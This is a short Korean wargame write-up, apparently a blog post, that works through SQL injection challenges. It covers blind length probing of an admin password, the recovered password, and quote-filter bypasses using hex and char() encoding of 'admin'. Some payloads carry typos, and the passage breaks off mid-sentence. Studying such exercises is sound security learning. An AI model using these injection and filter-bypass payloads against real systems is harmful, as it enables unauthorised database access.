Information Security

?pw=''' 입력 시 빈 페이지를 보여주는 것을 알 수 있다. if문을 사용할 수 없게 되어 union을 이용하여 pw=' or id='admin' and (select 1 union selec 2 (length(pw)=10)) # 입력 시 빈 페이지를 보여주는 것을 알 수 있다. pw=' or id='admin' and (select 1 union selec 2 (length(pw)=8)) # 입력 시 메시지가 보이는 것을 알 수 있다. ?pw=5a2f5d3c 입력 시 해결되는 것을 알 수 있다.

[prob|_|.|\]를 사용하는 쿼리문에 대해 필터링을 하고 새롭게 나온 필터링이 있다. [ ' | " | ` ] 이러한 Quotes(따옴표) 문자들을 필터링한다. no 변수 값에 admin을 입력했다. no 변수에 admin%27를 입력했다. %27 Quotes가 필터링 되는 것을 알 수 있다. no=1 or id=admin을 입력해보았다. admin을 16진수로 변환시켰다. id 변수 값에 admin 16진수를 입력했는데 Hello guest 문구를 확인할 수 있다. no=0 or id=0x61646d696e 입력했을 경우 Clear 되는 것을 알 수 있다. 다른 방법으로 union select를 사용해 char(97,100,109,105,110) admin을 입력하면 Clear 되는 것을 알 수 ..